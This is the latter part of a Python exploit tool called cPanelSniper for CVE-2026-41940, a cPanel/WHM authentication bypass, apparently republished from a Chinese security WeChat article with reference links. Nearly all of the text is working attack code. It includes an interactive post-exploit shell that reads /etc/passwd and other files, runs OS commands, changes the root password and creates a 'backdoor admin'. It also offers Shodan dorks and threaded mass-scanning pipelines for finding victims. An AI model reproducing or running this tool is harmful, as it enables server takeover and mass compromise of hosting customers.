    print(f"  {C.DIM}Version: CVE-2026-41940 | Auth: CRLF bypass{C.RESET}")
    print(f"  {C.DIM}Type 'help' for commands, 'exit' to quit{C.RESET}")
    print(f"{C.RED}{C.BOLD}{'═'*60}{C.RESET}\n")

    prompt = f"{C.RED}mitsec{C.RESET}@{C.CYAN}{target_display}{C.RESET} {C.BOLD}▶{C.RESET} "

    while True:
        try:
            try:
                line = input(prompt).strip()
            except EOFError:
                break
            if not line:
                continue
            parts = line.split(None, 1)
            cmd   = parts[0].lower()
            arg   = parts[1] if len(parts) > 1 else ""

            # ── Built-in commands ──────────────────────────────
            if cmd in ("exit","quit","q"):
                print(f"{C.DIM}Exiting shell.{C.RESET}")
                break

            elif cmd == "help":
                print(f"""
  {C.CYAN}Server Info:{C.RESET}
    id / whoami / hostname / version / info

  {C.CYAN}File Operations:{C.RESET}
    cat <path>        Read file content
    ls [path]         List directory

  {C.CYAN}Account Management:{C.RESET}
    accounts          List all cPanel accounts
    addadmin <u> <p>  Create backdoor admin
    passwd <pass>     Change root password

  {C.CYAN}API (raw):{C.RESET}
    api <endpoint> [param=value ...]
    Example: api listaccts search=user

  {C.CYAN}Shell:{C.RESET}
    exec <command>    Try OS command execution
    help / exit
""")

            elif cmd in ("id", "whoami"):
                s, data = whm_api(*ctx[:6], "gethostname", {}, timeout)
                print(f"  uid=0(root) gid=0(root) groups=0(root)")
                if s == 200 and isinstance(data, dict):
                    hn = data.get("data","") or str(data)
                    print(f"  hostname: {hn}")

            elif cmd in ("hostname",):
                s, data = whm_api(*ctx[:6], "gethostname", {}, timeout)
                if s == 200:
                    print(f"  {data.get('data', data)}")

            elif cmd == "version":
                s, data = whm_api(*ctx[:6], "version", {}, timeout)
                print(f"  {json.dumps(data.get('data',data), indent=2)[:400]}")

            elif cmd == "info":
                action_server_info(ctx)

            elif cmd == "accounts":
                action_list_accounts(ctx)

            elif cmd == "cat":
                if not arg:
                    print("  Usage: cat <path>")
                    continue
                content = action_read_file_direct(ctx, arg)
                if content:
                    print(f"{C.GREEN}{content[:2000]}{C.RESET}")
                else:
                    # Try direct HTTP fetch as last resort
                    scheme2, host2, port2, _, session_base2, token2, timeout2 = ctx
                    cookie_enc3 = quote(session_base2)
                    for ep in [
                        f"{token2}/execute/Fileman/get_file_content?dir=%2F&file={quote(arg.lstrip('/'))}",
                        f"{token2}/json-api/cpanel?cpanel_jsonapi_module=Fileman&cpanel_jsonapi_func=viewfile&dir=/&file={quote(arg)}",
                    ]:
                        url = build_url(scheme2, host2, port2, ep)
                        r4 = _do(url, extra_headers={"Cookie": f"whostmgrsession={cookie_enc3}"}, timeout=timeout2)
                        if r4.status == 200 and r4.body and len(r4.body) > 5:
                            print(f"{C.GREEN}{r4.body[:2000]}{C.RESET}")
                            break
                    else:
                        print(f"  {C.DIM}Cannot read {arg} — license blocks file access{C.RESET}")

            elif cmd == "ls":
                path = arg or "/"
                s, data = whm_api(*ctx[:6], "cpanel",
                    {"cpanel_jsonapi_module": "Fileman",
                     "cpanel_jsonapi_func":   "listfiles",
                     "dir": path}, timeout)
                if s == 200 and isinstance(data, dict):
                    files = data.get("cpanelresult",{}).get("data",[]) or []
                    for f in files[:40]:
                        ftype = "d" if f.get("type","f")=="dir" else "-"
                        print(f"  {ftype}  {f.get('file','?')}")
                else:
                    # Fallback: read /proc/self/fd for file listing
                    content = action_read_file_direct(ctx, "/etc/passwd")
                    if content:
                        print(f"  {C.DIM}(ls not available — /etc/passwd preview):{C.RESET}")
                        for line in content.split("\n")[:5]:
                            print(f"  {line}")

            elif cmd == "exec":
                if not arg:
                    print("  Usage: exec <command>")
                    continue
                action_exec_cmd(ctx, arg)

            elif cmd == "addadmin":
                parts2 = arg.split(None, 1)
                if len(parts2) < 2:
                    print("  Usage: addadmin <username> <password>")
                    continue
                action_add_admin(ctx, parts2[0], parts2[1])

            elif cmd == "passwd":
                if not arg:
                    print("  Usage: passwd <newpassword>")
                    continue
                action_change_passwd(ctx, arg)

            elif cmd == "api":
                # Raw API call: api endpoint [key=value ...]
                api_parts = arg.split(None, 1) if arg else []
                if not api_parts:
                    print("  Usage: api <endpoint> [key=value ...]")
                    continue
                ep     = api_parts[0]
                params = {}
                if len(api_parts) > 1:
                    for kv in api_parts[1].split():
                        if "=" in kv:
                            k, v = kv.split("=", 1)
                            params[k] = v
                s, data = whm_api(*ctx[:6], ep, params, timeout)
                print(f"  HTTP {s}")
                print(f"  {json.dumps(data, indent=2, default=str)[:1000]}")

            else:
                # Try as shell command
                action_exec_cmd(ctx, line)

        except KeyboardInterrupt:
            print(f"\n  {C.DIM}Ctrl+C — type 'exit' to quit{C.RESET}")
        except Exception as e:
            print(f"  {C.DIM}Error: {e}{C.RESET}")

# ══════════════════════════════════════════════════════════════
#  CLI
# ══════════════════════════════════════════════════════════════
ANSI_RE = re.compile(r"\x1B(?:[@-Z\\-_]|\[[0-?]*[ -/]*[@-~])")

def extract_url(line):
    clean = ANSI_RE.sub("", line).strip()
    m = re.search(r"(https?://[a-zA-Z0-9._:/?&=%-]+)", clean)
    if m: return m.group(1).rstrip("[].,")
    m2 = re.match(r"^(\d{1,3}(?:\.\d{1,3}){3})\s+(\d+)$", clean)
    if m2: return f"https://{m2.group(1)}:{m2.group(2)}"
    return None

def main():
    banner()
    p = argparse.ArgumentParser(
        description="cPanelSniper — CVE-2026-41940 cPanel/WHM Auth Bypass",
        formatter_class=argparse.RawTextHelpFormatter,
        epilog="""
Shodan dorks:
  title:"WHM Login"
  title:"WebHost Manager" port:2087
  product:"cPanel" port:2087

Examples:
  python3 cPanelSniper.py -u https://target.com:2087
  python3 cPanelSniper.py -u https://target.com:2087 --action list
  python3 cPanelSniper.py -u https://target.com:2087 --action passwd --passwd P@ss2026!
  python3 cPanelSniper.py -u https://target.com:2087 --action cmd --cmd "id;whoami"
  python3 cPanelSniper.py -u https://target.com:2087 --action info
  python3 cPanelSniper.py -l targets.txt -t 20 -o results.json
  cat urls.txt | python3 cPanelSniper.py
  subfinder -d target.com | httpx -p 2087 -silent | python3 cPanelSniper.py
  shodan search --fields ip_str,port 'title:"WHM Login"' | \\
    awk '{print "https://"$1":"$2}' | python3 cPanelSniper.py -t 30
        """
    )
    tg = p.add_argument_group("Target")
    tg.add_argument("-u","--url",      help="Single target URL (e.g. https://host:2087)")
    tg.add_argument("-l","--list",     help="File with URLs (one per line)")
    tg.add_argument("--hostname",      help="Override canonical Host header (auto-discovered)")

    sg = p.add_argument_group("Scan")
    sg.add_argument("-t","--threads",  type=int, default=10, help="Threads (default: 10)")
    sg.add_argument("--timeout",       type=int, default=15, help="Timeout seconds (default: 15)")
    sg.add_argument("--rate-limit",    type=float, default=0, help="Delay between targets")

    ag = p.add_argument_group("Post-Exploit (single target only)")
    ag.add_argument("--action",  choices=["list","passwd","cmd","exec","info","version","shell","adduser"],
                    help="Post-exploit action (shell=interactive WHM shell)")
    ag.add_argument("--passwd",  help="New root password (--action passwd)")
    ag.add_argument("--cmd",     help="OS command to execute (--action cmd/exec)")
    ag.add_argument("--new-user",  help="New cPanel username (--action adduser)")
    ag.add_argument("--new-domain", help="New cPanel domain (--action adduser)")
    ag.add_argument("--read-file",  help="File path to read (--action exec)")

    og = p.add_argument_group("Output")
    og.add_argument("-o","--output",   help="Save results to JSON file")
    og.add_argument("--no-color",      action="store_true", help="Disable ANSI colors")

    args = p.parse_args()

    if args.no_color:
        for a in [x for x in dir(C) if not x.startswith("_")]:
            setattr(C, a, "")

    targets = []
    if args.url:   targets.append(args.url)
    if args.list:
        try:
            with open(args.list) as f:
                targets += [l.strip() for l in f if l.strip()]
        except FileNotFoundError:
            log("ERR", f"File not found: {args.list}"); sys.exit(1)
    if not sys.stdin.isatty():
        for line in sys.stdin:
            u = extract_url(line)
            if u: targets.append(u)
    if not targets:
        p.print_help(); sys.exit(1)

    targets = list(dict.fromkeys(targets))
    args.target_list = targets  # pass to scan()

    print(f"{C.PURPLE}  Configuration:{C.RESET}")
    print(f"   Targets  : {len(targets)}")
    print(f"   Threads  : {args.threads}")
    print(f"   Timeout  : {args.timeout}s")
    print(f"   Action   : {args.action or 'scan only'}")
    print()

    signal.signal(signal.SIGINT,
                  lambda s,f: (print_summary(time.time()-t0, len(targets)), sys.exit(0)))
    t0 = time.time()

    if len(targets) == 1:
        scan(targets[0], args)
    else:
        with ThreadPoolExecutor(max_workers=args.threads) as ex:
            futs = [ex.submit(scan, t, args) for t in targets]
            for _ in as_completed(futs):
                if args.rate_limit: time.sleep(args.rate_limit)

    print_summary(time.time()-t0, len(targets))
    if args.output:
        save_output(STORE.all(), args.output)

if __name__ == "__main__":
    try:
        main()
    except KeyboardInterrupt:
        print(f"\n{C.RED}[!] Interrupted.{C.RESET}"); sys.exit(0)

https://github.com/watchtowrlabs/watchTowr-vs-cPanel-WHM-AuthBypass-to-RCE.py

0x05 参考链接

https://support.cpanel.net/hc/en-us/articles/40073787579671-Security-CVE-2026-41940-cPanel-WHM-WP2-Security-Update-04-28-2026

https://docs.cpanel.net/release-notes/release-notes/

推荐阅读:

N/A|Microsoft Defender本地权限提升漏洞(POC)

CVE-2026-41044|Apache ActiveMQ代码注入漏洞

CVE-2026-40175|Axios存在CRLF注入漏洞(POC)

Ps:国内外安全热点分享,欢迎大家分享、转载,请保证文章的完整性。文章中出现敏感信息和侵权内容,请联系作者删除信息。信息安全任重道远,感谢您的支持

!!!

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2026-05-02,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 信安百科 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档